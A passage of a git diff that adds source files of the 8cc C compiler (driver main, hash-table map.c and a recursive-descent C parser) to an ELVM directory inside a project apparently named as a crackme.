printf("\n"); + exit(0); +} + +int main(int argc, char **argv) { +#ifdef __eir__ + infile = "-"; +#else + setbuf(stdout, NULL); + if (atexit(delete_temp_files)) + perror("atexit"); + parseopt(argc, argv); +#endif + lex_init(infile); + cpp_init(); + parse_init(); +#ifndef __eir__ + set_output_file(open_asmfile()); + if (buf_len(cppdefs) > 0) + read_from_string(buf_body(cppdefs)); +#endif + + if (cpponly) + preprocess(); + + Vector *toplevels = read_toplevels(); + for (int i = 0; i < vec_len(toplevels); i++) { + Node *v = vec_get(toplevels, i); + if (dumpast) + printf("%s", node2s(v)); + else + emit_toplevel(v); + } + + close_output_file(); + +#ifndef __eir__ + if (!dumpast && !dumpasm) { + if (!outfile) + outfile = replace_suffix(base(infile), 'o'); + pid_t pid = fork(); + if (pid < 0) perror("fork"); + if (pid == 0) { + execlp("as", "as", "-o", outfile, "-c", asmfile, (char *)NULL); + perror("execl failed"); + } + int status; + waitpid(pid, &status, 0); + if (status < 0) + error("as failed"); + } +#endif + return 0; +} diff --git a/crackme.tscript.dso/elvm/8cc/map.c b/crackme.tscript.dso/elvm/8cc/map.c new file mode 100644 index 0000000..c79e1ba --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/map.c @@ -0,0 +1,196 @@ +// Copyright 2014 Rui Ueyama. Released under the MIT license. + +// This is an implementation of hash table. + +#include +#include +#include "8cc.h" + +#ifdef __eir__ + +Map *make_map(void) { + Map *r = malloc(sizeof(Map)); + r->parent = NULL; + r->v = make_vector(); + return r; +} + +Map *make_map_parent(Map *parent) { + Map *r = malloc(sizeof(Map)); + r->parent = parent; + r->v = make_vector(); + return r; +} + +static int map_find(Map *m, char *key) { + if (!m->v) { + m->v = make_vector(); + return -1; + } + for (int i = 0; i < vec_len(m->v); i += 2) { + if (!strcmp(vec_get(m->v, i), key)) + return i; + } + return -1; +} + +void *map_get(Map *m, char *key) { + int i = map_find(m, key); + if (i != -1) + return vec_get(m->v, i + 1); + if (m->parent) + return map_get(m->parent, key); + return NULL; +} + +void map_put(Map *m, char *key, void *val) { + int i = map_find(m, key); + if (i != -1) { + vec_set(m->v, i + 1, val); + } else { + vec_push(m->v, key); + vec_push(m->v, val); + } +} + +void map_remove(Map *m, char *key) { + int i = map_find(m, key); + if (i != -1) { + vec_set(m->v, i, ""); + } +} + +size_t map_len(Map *m) { + if (!m->v) + return 0; + return vec_len(m->v) / 2; +} + +#else + +#define INIT_SIZE 16 +#define TOMBSTONE ((void *)-1) + +static uint32_t hash(char *p) { + // FNV hash + uint32_t r = 2166136261; + for (; *p; p++) { + r ^= *p; + r *= 16777619; + } + return r; +} + +static Map *do_make_map(Map *parent, int size) { + Map *r = malloc(sizeof(Map)); + r->parent = parent; + r->key = calloc(size, sizeof(char *)); + r->val = calloc(size, sizeof(void *)); + r->size = size; + r->nelem = 0; + r->nused = 0; + return r; +} + +static void maybe_rehash(Map *m) { + if (!m->key) { + m->key = calloc(INIT_SIZE, sizeof(char *)); + m->val = calloc(INIT_SIZE, sizeof(void *)); + m->size = INIT_SIZE; + return; + } + if (m->nused < m->size * 7 / 10) + return; + int newsize = (m->nelem < m->size * 35 / 100) ? m->size : m->size * 2; + char **k = calloc(newsize, sizeof(char *)); + void **v = calloc(newsize, sizeof(void *)); + int mask = newsize - 1; + for (int i = 0; i < m->size; i++) { + if (m->key[i] == NULL || m->key[i] == TOMBSTONE) + continue; + int j = hash(m->key[i]) & mask; + for (;; j = (j + 1) & mask) { + if (k[j] != NULL) + continue; + k[j] = m->key[i]; + v[j] = m->val[i]; + break; + } + } + m->key = k; + m->val = v; + m->size = newsize; + m->nused = m->nelem; +} + +Map *make_map() { + return do_make_map(NULL, INIT_SIZE); +} + +Map *make_map_parent(Map *parent) { + return do_make_map(parent, INIT_SIZE); +} + +static void *map_get_nostack(Map *m, char *key) { + if (!m->key) + return NULL; + int mask = m->size - 1; + int i = hash(key) & mask; + for (; m->key[i] != NULL; i = (i + 1) & mask) + if (m->key[i] != TOMBSTONE && !strcmp(m->key[i], key)) + return m->val[i]; + return NULL; +} + +void *map_get(Map *m, char *key) { + void *r = map_get_nostack(m, key); + if (r) + return r; + // Map is stackable. If no value is found, + // continue searching from the parent. + if (m->parent) + return map_get(m->parent, key); + return NULL; +} + +void map_put(Map *m, char *key, void *val) { + maybe_rehash(m); + int mask = m->size - 1; + int i = hash(key) & mask; + for (;; i = (i + 1) & mask) { + char *k = m->key[i]; + if (k == NULL || k == TOMBSTONE) { + m->key[i] = key; + m->val[i] = val; + m->nelem++; + if (k == NULL) + m->nused++; + return; + } + if (!strcmp(k, key)) { + m->val[i] = val; + return; + } + } +} + +void map_remove(Map *m, char *key) { + if (!m->key) + return; + int mask = m->size - 1; + int i = hash(key) & mask; + for (; m->key[i] != NULL; i = (i + 1) & mask) { + if (m->key[i] == TOMBSTONE || strcmp(m->key[i], key)) + continue; + m->key[i] = TOMBSTONE; + m->val[i] = NULL; + m->nelem--; + return; + } +} + +size_t map_len(Map *m) { + return m->nelem; +} + +#endif diff --git a/crackme.tscript.dso/elvm/8cc/parse.c b/crackme.tscript.dso/elvm/8cc/parse.c new file mode 100644 index 0000000..6db18aa --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/parse.c @@ -0,0 +1,2778 @@ +// Copyright 2012 Rui Ueyama. Released under the MIT license. + +/* + * Recursive descendent parser for C. + */ + +#include +#include +#include +#include +#include +#include +#include "8cc.h" + +// The largest alignment requirement on x86-64. When we are allocating memory +// for an array whose type is unknown, the array will be aligned to this +// boundary. +#define MAX_ALIGN 16 + +#define MAX(a, b) ((a) > (b) ? (a) : (b)) +#define MIN(a, b) ((a) < (b) ? (a) : (b)) + +// The last source location we want to point to when we find an error in the +// source code. +SourceLoc *source_loc; + +// Objects representing various scopes. Did you know C has so many different +// scopes? You can use the same name for global variable, local variable, +// struct/union/enum tag, and goto label! +static Map *globalenv = &EMPTY_MAP; +static Map *localenv; +static Map *tags = &EMPTY_MAP; +static Map *labels; + +static Vector *toplevels; +static Vector *localvars; +static Vector *gotos; +static Vector *cases; +static Type *current_func_type; + +static char *defaultcase; +static char *lbreak; +static char *lcontinue; + +// Objects representing basic types. All variables will be of one of these types +// or a derived type from one of them. Note that (typename){initializer} is C99 +// feature to write struct literals. +Type *type_void = &(Type){ KIND_VOID, 0, 0, false }; +Type *type_bool = &(Type){ KIND_BOOL, 1, 1, true }; +Type *type_char = &(Type){ KIND_CHAR, 1, 1, false }; +Type *type_short = &(Type){ KIND_SHORT, 1, 1, false }; +Type *type_int = &(Type){ KIND_INT, 1, 1, false }; +Type *type_long = &(Type){ KIND_LONG, 1, 1, false }; +Type *type_llong = &(Type){ KIND_LLONG, 1, 1, false }; +Type *type_uchar = &(Type){ KIND_CHAR, 1, 1, true }; +Type *type_ushort = &(Type){ KIND_SHORT, 1, 1, true }; +Type *type_uint = &(Type){ KIND_INT, 1, 1, true }; +Type *type_ulong = &(Type){ KIND_LONG, 1, 1, true }; +Type *type_ullong = &(Type){ KIND_LLONG, 1, 1, true }; +Type *type_float = &(Type){ KIND_INT, 1, 1, false }; +Type *type_double = &(Type){ KIND_INT, 1, 1, false }; +Type *type_ldouble = &(Type){ KIND_INT, 1, 1, false }; +Type *type_enum = &(Type){ KIND_ENUM, 1, 1, false }; + +static Type* make_ptr_type(Type *ty); +static Type* make_array_type(Type *ty, int size); +static Node *read_compound_stmt(void); +static void read_decl_or_stmt(Vector *list); +static Node *conv(Node *node); +static Node *read_stmt(void); +static bool is_type(Token *tok); +static Node *read_unary_expr(void); +static void read_decl(Vector *toplevel, bool isglobal); +static Type *read_declarator_tail(Type *basetype, Vector *params); +static Type *read_declarator(char **name, Type *basetype, Vector *params, int ctx); +static Type *read_abstract_declarator(Type *basetype); +static Type *read_decl_spec(int *sclass); +static Node *read_struct_field(Node *struc); +static void read_initializer_list(Vector *inits, Type *ty, int off, bool designated); +static Type *read_cast_type(void); +static Vector *read_decl_init(Type *ty); +static Node *read_boolean_expr(void); +static Node *read_expr_opt(void); +static Node *read_conditional_expr(void); +static Node *read_assignment_expr(void); +static Node *read_cast_expr(void); +static Node *read_comma_expr(void); +static Token *get(void); +static Token *peek(void); + +typedef struct { + int beg; + int end; + char *label; +} Case; + +enum { + S_TYPEDEF = 1, + S_EXTERN, + S_STATIC, + S_AUTO, + S_REGISTER, +}; + +enum { + DECL_BODY = 1, + DECL_PARAM, + DECL_PARAM_TYPEONLY, + DECL_CAST, +}; + +/* + * Source location + */ + +static void mark_location() { + Token *tok = peek(); + source_loc = malloc(sizeof(SourceLoc)); + source_loc->file = tok->file->name; + source_loc->line = tok->line; +} + + +/* + * Constructors + */ + +char *make_tempname() { + static int c = 0; + return format(".T%d", c++); +} + +char *make_label() { + static int c = 0; + return format(".L%d", c++); +} + +static char *make_static_label(char *name) { + static int c = 0; + return format(".S%d.%s", c++, name); +} + +static Case *make_case(int beg, int end, char *label) { + Case *r = malloc(sizeof(Case)); + r->beg = beg; + r->end = end; + r->label = label; + return r; +} + +static Map *env() { + return localenv ? localenv : globalenv; +} + +static Node *make_ast(Node *tmpl) { + Node *r = malloc(sizeof(Node)); + *r = *tmpl; + r->sourceLoc = source_loc; + return r; +} + +static Node *ast_uop(int kind, Type *ty, Node *operand) { + return make_ast(&(Node){ kind, ty, .operand = operand }); +} + +static Node *ast_binop(Type *ty, int kind, Node *left, Node *right) { + Node *r = make_ast(&(Node){ kind, ty }); + r->left = left; + r->right = right; + return r; +} + +static Node *ast_inttype(Type *ty, long val) { + return make_ast(&(Node){ AST_LITERAL, ty, .ival = val }); +} + +static Node *ast_floattype(Type *ty, double val) { + return make_ast(&(Node){ AST_LITERAL, ty, .fval = val }); +} + +static Node *ast_lvar(Type *ty, char *name) { + Node *r = make_ast(&(Node){ AST_LVAR, ty, .varname = name }); + if (localenv) + map_put(localenv, name, r); + if (localvars) + vec_push(localvars, r); + return r; +} + +static Node *ast_gvar(Type *ty, char *name) { + Node *r = make_ast(&(Node){ AST_GVAR, ty, .varname = name, .glabel = name }); + map_put(globalenv, name, r); + return r; +} + +static Node *ast_static_lvar(Type *ty, char *name) { + Node *r = make_ast(&(Node){ + .kind = AST_GVAR, + .ty = ty, + .varname = name, + .glabel = make_static_label(name) }); + assert(localenv); + map_put(localenv, name, r); + return r; +} + +static Node *ast_typedef(Type *ty, char *name) { + Node *r = make_ast(&(Node){ AST_TYPEDEF, ty }); + map_put(env(), name, r); + return r; +} + +static Node *ast_string(int enc, char *str, int len) { + Type *ty; + char *body; + + switch (enc) { + case ENC_NONE: + case ENC_UTF8: + ty = make_array_type(type_char, len); + body = str; + break; + case ENC_CHAR16: { + Buffer *b = to_utf16(str, len); + ty = make_array_type(type_ushort, buf_len(b) / type_ushort->size); + body = buf_body(b); + break; + } + case ENC_CHAR32: + case ENC_WCHAR: { + Buffer *b = to_utf32(str, len); + ty = make_array_type(type_uint, buf_len(b) / type_uint->size); + body = buf_body(b); + break; + } + } + return make_ast(&(Node){ AST_LITERAL, .ty = ty, .sval = body }); +} + +static Node *ast_funcall(Type *ftype, char *fname, Vector *args) { + return make_ast(&(Node){ + .kind = AST_FUNCALL, + .ty = ftype->rettype, + .fname = fname, + .args = args, + .ftype = ftype }); +} + +static Node *ast_funcdesg(Type *ty, char *fname) { + return make_ast(&(Node){ AST_FUNCDESG, ty, .fname = fname }); +} + +static Node *ast_funcptr_call(Node *fptr, Vector *args) { + assert(fptr->ty->kind == KIND_PTR); + assert(fptr->ty->ptr->kind == KIND_FUNC); + return make_ast(&(Node){ + .kind = AST_FUNCPTR_CALL, + .ty = fptr->ty->ptr->rettype, + .fptr = fptr, + .args = args }); +} + +static Node *ast_func(Type *ty, char *fname, Vector *params, Node *body, Vector *localvars) { + return make_ast(&(Node){ + .kind = AST_FUNC, + .ty = ty, + .fname = fname, + .params = params, + .localvars = localvars, + .body = body}); +} + +static Node *ast_decl(Node *var, Vector *init) { + return make_ast(&(Node){ AST_DECL, .declvar = var, .declinit = init }); +} + +static Node *ast_init(Node *val, Type *totype, int off) { + return make_ast(&(Node){ AST_INIT, .initval = val, .initoff = off, .totype = totype }); +} + +static Node *ast_conv(Type *totype, Node *val) { + return make_ast(&(Node){ AST_CONV, totype, .operand = val }); +} + +static Node *ast_if(Node *cond, Node *then, Node *els) { + return make_ast(&(Node){ AST_IF, .cond = cond, .then = then, .els = els }); +} + +static Node *ast_ternary(Type *ty, Node *cond, Node *then, Node *els) { + return make_ast(&(Node){ AST_TERNARY, ty, .cond = cond, .then = then, .els = els }); +} + +static Node *ast_return(Node *retval) { + return make_ast(&(Node){ AST_RETURN, .retval = retval }); +} + +static Node *ast_compound_stmt(Vector *stmts) { + return make_ast(&(Node){ AST_COMPOUND_STMT, .stmts = stmts }); +} + +static Node *ast_struct_ref(Type *ty, Node *struc, char *name) { + return make_ast(&(Node){ AST_STRUCT_REF, ty, .struc = struc, .field = name }); +} + +static Node *ast_goto(char *label) { + return make_ast(&(Node){ AST_GOTO, .label = label }); +} + +static Node *ast_jump(char *label) { + return make_ast(&(Node){ AST_GOTO, .label = label, .newlabel = label }); +} + +static Node *ast_computed_goto(Node *expr) { + return make_ast(&(Node){ AST_COMPUTED_GOTO, .operand = expr }); +} + +static Node *ast_label(char *label) { + return make_ast(&(Node){ AST_LABEL, .label = label }); +} + +static Node *ast_dest(char *label) { + return make_ast(&(Node){ AST_LABEL, .label = label, .newlabel = label }); +} + +static Node *ast_label_addr(char *label) { + return make_ast(&(Node){ OP_LABEL_ADDR, make_ptr_type(type_void), .label = label }); +} + +static Type *make_type(Type *tmpl) { + Type *r = malloc(sizeof(Type)); + *r = *tmpl; + return r; +} + +static Type *copy_type(Type *ty) { + Type *r = malloc(sizeof(Type)); + memcpy(r, ty, sizeof(Type)); + return r; +} + +static Type *make_numtype(int kind, bool usig) { + Type *r = calloc(1, sizeof(Type)); + r->kind = kind; + r->usig = usig; + if (kind == KIND_VOID) r->size = r->align = 0; + else if (kind == KIND_BOOL) r->size = r->align = 1; + else if (kind == KIND_CHAR) r->size = r->align = 1; + else if (kind == KIND_SHORT) r->size = r->align = 1; + else if (kind == KIND_INT) r->size = r->align = 1; + else if (kind == KIND_LONG) r->size = r->align = 1; + else if (kind == KIND_LLONG) r->size = r->align = 1; + else if (kind == KIND_FLOAT) r->size = r->align = 4, error("float"); + else if (kind == KIND_DOUBLE) r->size = r->align = 8, error("float"); + else if (kind == KIND_LDOUBLE) r->size = r->align = 8, error("float"); + else error("internal error"); + return r; +} + +static Type* make_ptr_type(Type *ty) { + return make_type(&(Type){ KIND_PTR, .ptr = ty, .size = 1, .align = 1 }); +} + +static Type* make_array_type(Type *ty, int len) { + int size; + if (len == -1) + size = -1; + else + size = ty->size * len; + return make_type(&(Type){ + KIND_ARRAY, + .ptr = ty, + .size = size, + .len = len, + .align = ty->align }); +} + +static Type* make_rectype(bool is_struct) { + return make_type(&(Type){ KIND_STRUCT, .is_struct = is_struct }); +} + +static Type* make_func_type(Type *rettype, Vector *paramtypes, bool has_varargs, bool oldstyle) { + return make_type(&(Type){ + KIND_FUNC, + .rettype = rettype, + .params = paramtypes, + .hasva = has_varargs, + .oldstyle = oldstyle }); +} + +static Type *make_stub_type() { + return make_type(&(Type){ KIND_STUB }); +} + +/* + * Predicates and kind checking routines + */ + +bool is_inttype(Type *ty) { + switch (ty->kind) { + case KIND_BOOL: case KIND_CHAR: case KIND_SHORT: case KIND_INT: + case KIND_LONG: case KIND_LLONG: + return true; + default: + return false; + } +} + +bool is_flotype(Type *ty) { + switch (ty->kind) { + case KIND_FLOAT: case KIND_DOUBLE: case KIND_LDOUBLE: + return true; + default: + return false; + } +} + +static bool is_arithtype(Type *ty) { + return is_inttype(ty) || is_flotype(ty); +} + +static bool is_string(Type *ty) { + return ty->kind == KIND_ARRAY && ty->ptr->kind == KIND_CHAR; +} + +static void ensure_lvalue(Node *node) { + switch (node->kind) { + case AST_LVAR: case AST_GVAR: case AST_DEREF: case AST_STRUCT_REF: + return; + default: + error("lvalue expected, but got %s", node2s(node)); + } +} + +static void ensure_inttype(Node *node) { + if (!is_inttype(node->ty)) + error("integer type expected, but got %s", node2s(node)); +} + +static void ensure_arithtype(Node *node) { + if (!is_arithtype(node->ty)) + error("arithmetic type expected, but got %s", node2s(node)); +} + +static void ensure_not_void(Type *ty) { + if (ty->kind == KIND_VOID) + error("void is not allowed"); +} + +static void expect(char id) { + Token *tok = get(); + if (!is_keyword(tok, id)) + errort(tok, "'%c' expected, but got %s", id, tok2s(tok)); +} + +static Type *copy_incomplete_type(Type *ty) { + if (!ty) return NULL; + return (ty->len == -1) ? copy_type(ty) : ty; +} + +static Type *get_typedef(char *name) { + Node *node = map_get(env(), name); + return (node && node->kind == AST_TYPEDEF) ? node->ty : NULL; +} + +static bool is_type(Token *tok) { + if (tok->kind == TIDENT) + return get_typedef(tok->sval); + if (tok->kind != TKEYWORD) + return false; + switch (tok->id) { +#define op(x, y) +#define keyword(id, _, istype) case id: return istype; +#include "keyword.inc" +#undef keyword +#undef op + default: + return false; + } +} + +static bool next_token(int kind) { + Token *tok = get(); + if (is_keyword(tok, kind)) + return true; + unget_token(tok); + return false; +} + +void *make_pair(void *first, void *second) { + void **r = malloc(sizeof(void *) * 2); + r[0] = first; + r[1] = second; + return r; +} + +/* + * Type conversion + */ + +static Node *conv(Node *node) { + if (!node) + return NULL; + Type *ty = node->ty; + switch (ty->kind) { + case KIND_ARRAY: + // C11 6.3.2.1p3: An array of T is converted to a pointer to T. + return ast_uop(AST_CONV, make_ptr_type(ty->ptr), node); + case KIND_FUNC: + // C11 6.3.2.1p4: A function designator is converted to a pointer to the function. + return ast_uop(AST_ADDR, make_ptr_type(ty), node); + case KIND_SHORT: case KIND_CHAR: case KIND_BOOL: + // C11 6.3.1.1p2: The integer promotions + return ast_conv(type_int, node); + case KIND_INT: + if (ty->bitsize > 0 && ty->bitsize != -1) + return ast_conv(type_int, node); + } + return node; +} + +static bool same_arith_type(Type *t, Type *u) { + return t->kind == u->kind && t->usig == u->usig; +} + +static Node *wrap(Type *t, Node *node) { + if (same_arith_type(t, node->ty)) + return node; + return ast_uop(AST_CONV, t, node); +} + +// C11 6.3.1.8: Usual arithmetic conversions +static Type *usual_arith_conv(Type *t, Type *u) { + assert(is_arithtype(t)); + assert(is_arithtype(u)); + if (t->kind < u->kind) { + // Make t the larger type + Type *tmp = t; + t = u; + u = tmp; + } + if (is_flotype(t)) + return t; + assert(is_inttype(t) && t->size >= type_int->size); + assert(is_inttype(u) && u->size >= type_int->size); + if (t->size > u->size) + return t; + assert(t->size == u->size); + if (t->usig == u->usig) + return t; + Type *r = copy_type(t); + r->usig = true; + return r; +} + +static bool valid_pointer_binop(int op) { + switch (op) { + case '-': case '<': case '>': case OP_EQ: + case OP_NE: case OP_GE: case OP_LE: + return true; + default: + return false; + } +} + +static Node *binop(int op, Node *lhs, Node *rhs) { + if (lhs->ty->kind == KIND_PTR && rhs->ty->kind == KIND_PTR) { + if (!valid_pointer_binop(op)) + error("invalid pointer arith"); + // C11 6.5.6.9: Pointer subtractions have type ptrdiff_t. + if (op == '-') + return ast_binop(type_long, op, lhs, rhs); + // C11 6.5.8.6, 6.5.9.3: Pointer comparisons have type int. + return ast_binop(type_int, op, lhs, rhs); + } + if (lhs->ty->kind == KIND_PTR) + return ast_binop(lhs->ty, op, lhs, rhs); + if (rhs->ty->kind == KIND_PTR) + return ast_binop(rhs->ty, op, rhs, lhs); + assert(is_arithtype(lhs->ty)); + assert(is_arithtype(rhs->ty)); + Type *r = usual_arith_conv(lhs->ty, rhs->ty); + return ast_binop(r, op, wrap(r, lhs), wrap(r, rhs)); +} + +static bool is_same_struct(Type *a, Type *b) { + if (a->kind != b->kind) + return false; + switch (a->kind) { + case KIND_ARRAY: + return a->len == b->len && + is_same_struct(a->ptr, b->ptr); + case KIND_PTR: + return is_same_struct(a->ptr, b->ptr); + case KIND_STRUCT: { + if (a->is_struct != b->is_struct) + return false; + Vector *ka = dict_keys(a->fields); + Vector *kb = dict_keys(b->fields); + if (vec_len(ka) != vec_len(kb)) + return false; + for (int i = 0; i < vec_len(ka); i++) + if (!is_same_struct(vec_get(ka, i), vec_get(kb, i))) + return false; + return true; + } + default: + return true; + } +} + +static void ensure_assignable(Type *totype, Type *fromtype) { + if ((is_arithtype(totype) || totype->kind == KIND_PTR) && + (is_arithtype(fromtype) || fromtype->kind == KIND_PTR)) + return; + if (is_same_struct(totype, fromtype)) + return; + error("incompatible kind: <%s> <%s>", ty2s(totype), ty2s(fromtype)); +} + +/* + * Integer constant expression + */ + +static int eval_struct_ref(Node *node, int offset) { + if (node->kind == AST_STRUCT_REF) + return eval_struct_ref(node->struc, node->ty->offset + offset); + return eval_intexpr(node, NULL) + offset; +} + +int eval_intexpr(Node *node, Node **addr) { + switch (node->kind) { + case AST_LITERAL: + if (is_inttype(node->ty)) + return node->ival; + error("Integer expression expected, but got %s", node2s(node)); + case '!': return !eval_intexpr(node->operand, addr); + case '~': return ~eval_intexpr(node->operand, addr); + case OP_CAST: return eval_intexpr(node->operand, addr); + case AST_CONV: return eval_intexpr(node->operand, addr); + case AST_ADDR: + if (node->operand->kind == AST_STRUCT_REF) + return eval_struct_ref(node->operand, 0); + // fallthrough + case AST_GVAR: + if (addr) { + *addr = conv(node); + return 0; + } + goto error; + goto error; + case AST_DEREF: + if (node->operand->ty->kind == KIND_PTR) + return eval_intexpr(node->operand, addr); + goto error; + case AST_TERNARY: { + long cond = eval_intexpr(node->cond, addr); + if (cond) + return node->then ? eval_intexpr(node->then, addr) : cond; + return eval_intexpr(node->els, addr); + } +#define L (eval_intexpr(node->left, addr)) +#define R (eval_intexpr(node->right, addr)) + case '+': return L + R; + case '-': return L - R; + case '*': return L * R; + case '/': return L / R; + case '<': return L < R; + case '^': return L ^ R; + case '&': return L & R; + case '|': return L | R; + case '%': return L % R; + case OP_EQ: return L == R; + case OP_LE: return L <= R; + case OP_NE: return L != R; + case OP_SAL: return L << R; + case OP_SAR: return L >> R; + case OP_SHR: return ((unsigned long)L) >> R; + case OP_LOGAND: return L && R; + case OP_LOGOR: return L || R; +#undef L +#undef R + default: + error: + error("Integer expression expected, but got %s", node2s(node)); + } +} + +static int read_intexpr() { + return eval_intexpr(read_conditional_expr(), NULL); +} + +/* + * Numeric literal + */ + +static Type *read_int_suffix(char *s) { + if (!strcasecmp(s, "u")) + return type_uint; + if (!strcasecmp(s, "l")) + return type_long; + if (!strcasecmp(s, "ul") || !strcasecmp(s, "lu")) + return type_ulong; + if (!strcasecmp(s, "ll")) + return type_llong; + if (!strcasecmp(s, "ull") || !strcasecmp(s, "llu")) + return type_ullong; + return NULL; +} + +static Node *read_int(Token *tok) { + char *s = tok->sval; + char *end; + long v = !strncasecmp(s, "0b", 2) + ? strtoul(s + 2, &end, 2) : strtoul(s, &end, 0); + Type *ty = read_int_suffix(end); + if (ty) + return ast_inttype(ty, v); + if (*end != '\0') + errort(tok, "invalid character '%c': %s", *end, s); + + // C11 6.4.4.1p5: Decimal constant type is int, long, or long long. + // In 8cc, long and long long are the same size. + bool base10 = (*s != '0'); + if (base10) { + ty = !(v & ~(long)INT_MAX) ? type_int : type_long; + return ast_inttype(ty, v); + } + // Octal or hexadecimal constant type may be unsigned. + ty = !(v & ~(unsigned long)INT_MAX) ? type_int + : !(v & ~(unsigned long)UINT_MAX) ? type_uint + : !(v & ~(unsigned long)LONG_MAX) ? type_long + : type_ulong; + return ast_inttype(ty, v); +} + +static Node *read_float(Token *tok) { + char *s = tok->sval; + char *end; +#ifdef __eir__ + double v = strtol(s, &end, 10); +#else + double v = strtod(s, &end); +#endif + // C11 6.4.4.2p4: The default type for flonum is double. + if (!strcasecmp(end, "l")) + return ast_floattype(type_ldouble, v); + if (!strcasecmp(end, "f")) + return ast_floattype(type_float, v); + if (*end != '\0') + errort(tok, "invalid character '%c': %s", *end, s); + return ast_floattype(type_double, v); +} + +static Node *read_number(Token *tok) { + char *s = tok->sval; + bool isfloat = strpbrk(s, ".pP") || (strncasecmp(s, "0x", 2) && strpbrk(s, "eE")); + return isfloat ? read_float(tok) : read_int(tok); +} + +/* + * Sizeof operator + */ + +static Type *read_sizeof_operand_sub() { + Token *tok = get(); + if (is_keyword(tok, '(') && is_type(peek())) { + Type *r = read_cast_type(); + expect(')'); + return r; + } + unget_token(tok); + return read_unary_expr()->ty; +} + +static Node *read_sizeof_operand() { + Type *ty = read_sizeof_operand_sub(); + // Sizeof on void or function type is GNU extension + int size = (ty->kind == KIND_VOID || ty->kind == KIND_FUNC) ? 1 : ty->size; + assert(0 <= size); + return ast_inttype(type_ulong, size); +} + +/* + * Alignof operator + */ + +static Node *read_alignof_operand() { + expect('('); + Type *ty = read_cast_type(); + expect(')'); + return ast_inttype(type_ulong, ty->align); +} + +/* + * Function arguments + */ + +static Vector *read_func_args(Vector *params) { + Vector *args = make_vector(); + int i = 0; + for (;;) { + if (next_token(')')) break; + Node *arg = conv(read_assignment_expr()); + Type *paramtype; + if (i < vec_len(params)) { + paramtype = vec_get(params, i++); + } else { + paramtype = is_flotype(arg->ty) ? type_double : + is_inttype(arg->ty) ? type_int : + arg->ty; + } + ensure_assignable(paramtype, arg->ty); + if (paramtype->kind != arg->ty->kind) + arg = ast_conv(paramtype, arg); + vec_push(args, arg); + Token *tok = get(); + if (is_keyword(tok, ')')) break; + if (!is_keyword(tok, ',')) + errort(tok, "unexpected token: '%s'", tok2s(tok)); + } + return args; +} + +static Node *read_funcall(Node *fp) { + if (fp->kind == AST_ADDR && fp->operand->kind == AST_FUNCDESG) { + Node *desg = fp->operand; + Vector *args = read_func_args(desg->ty->params); + return ast_funcall(desg->ty, desg->fname, args); + } + Vector *args = read_func_args(fp->ty->ptr->params); + return ast_funcptr_call(fp, args); +} + +/* + * _Generic + */ + +static bool type_compatible(Type *a, Type *b) { + if (a->kind == KIND_STRUCT) + return is_same_struct(a, b); + if (a->kind != b->kind) + return false; + if (a->ptr && b->ptr) + return type_compatible(a->ptr, b->ptr); + if (is_arithtype(a) && is_arithtype(b)) + return same_arith_type(a, b); + return true; +} + +static Vector *read_generic_list(Node **defaultexpr) { + Vector *r = make_vector(); + for (;;) { + if (next_token(')')) + return r; + Token *tok = peek(); + if (next_token(KDEFAULT)) { + if (*defaultexpr) + errort(tok, "default expression specified twice"); + expect(':'); + *defaultexpr = read_assignment_expr(); + } else { + Type *ty = read_cast_type(); + expect(':'); + Node *expr = read_assignment_expr(); + vec_push(r, make_pair(ty, expr)); + } + next_token(','); + } +} + +static Node *read_generic() { + expect('('); + Token *tok = peek(); + Node *contexpr = read_assignment_expr(); + expect(','); + Node *defaultexpr = NULL; + Vector *list = read_generic_list(&defaultexpr); + for (int i = 0; i < vec_len(list); i++) { + void **pair = vec_get(list, i); + Type *ty = pair[0]; + Node *expr = pair[1]; + if (type_compatible(contexpr->ty, ty)) + return expr; + } + if (!defaultexpr) + errort(tok, "no matching generic selection for %s: %s", node2s(contexpr), ty2s(contexpr->ty)); + return defaultexpr; +} + +/* + * _Static_assert + */ + +static void read_static_assert() { + expect('('); + int val = read_intexpr(); + expect(','); + Token *tok = get(); + if (tok->kind != TSTRING) + errort(tok, "string expected as the second argument for _Static_assert, but got %s", tok2s(tok)); + expect(')'); + expect(';'); + if (!val) + errort(tok, "_Static_assert failure: %s", tok->sval); +} + +/* + * Expression + */ + +static Node *read_var_or_func(char *name) { + Node *v = map_get(env(), name); + if (!v) { + Token *tok = peek(); + if (!is_keyword(tok, '(')) + errort(tok, "undefined variable: %s", name); + Type *ty = make_func_type(type_int, make_vector(), true, false); + warnt(tok, "assume returning int: %s()", name); + return ast_funcdesg(ty, name); + } + if (v->ty->kind == KIND_FUNC) + return ast_funcdesg(v->ty, name); + return v; +} + +static int get_compound_assign_op(Token *tok) { + if (tok->kind != TKEYWORD) + return 0; + switch (tok->id) { + case OP_A_ADD: return '+'; + case OP_A_SUB: return '-'; + case OP_A_MUL: return '*'; + case OP_A_DIV: return '/'; + case OP_A_MOD: return '%'; + case OP_A_AND: return '&'; + case OP_A_OR: return '|'; + case OP_A_XOR: return '^'; + case OP_A_SAL: return OP_SAL; + case OP_A_SAR: return OP_SAR; + case OP_A_SHR: return OP_SHR; + default: return 0; + } +} + +static Node *read_stmt_expr() { + Node *r = read_compound_stmt(); + expect(')'); + Type *rtype = type_void; + if (vec_len(r->stmts) > 0) { + Node *lastexpr = vec_tail(r->stmts); + if (lastexpr->ty) + rtype = lastexpr->ty; + } + r->ty = rtype; + return r; +} + +static Type *char_type(int enc) { + switch (enc) { + case ENC_NONE: + case ENC_WCHAR: + return type_int; + case ENC_CHAR16: + return type_ushort; + case ENC_CHAR32: + return type_uint; + } + error("internal error"); +} + +static Node *read_primary_expr() { + Token *tok = get(); + if (!tok) return NULL; + if (is_keyword(tok, '(')) { + if (next_token('{')) + return read_stmt_expr(); + Node *r = read_expr(); + expect(')'); + return r; + } + if (is_keyword(tok, KGENERIC)) { + return read_generic(); + } + switch (tok->kind) { + case TIDENT: + return read_var_or_func(tok->sval); + case TNUMBER: + return read_number(tok); + case TCHAR: + return ast_inttype(char_type(tok->enc), tok->c); + case TSTRING: + return ast_string(tok->enc, tok->sval, tok->slen); + case TKEYWORD: + unget_token(tok); + return NULL; + default: + error("internal error: unknown token kind: %d", tok->kind); + } +} + +static Node *read_subscript_expr(Node *node) { + Token *tok = peek(); + Node *sub = read_expr(); + if (!sub) + errort(tok, "subscription expected"); + expect(']'); + Node *t = binop('+', conv(node), conv(sub)); + return ast_uop(AST_DEREF, t->ty->ptr, t); +} + +static Node *read_postfix_expr_tail(Node *node) { + if (!node) return NULL; + for (;;) { + if (next_token('(')) { + Token *tok = peek(); + node = conv(node); + Type 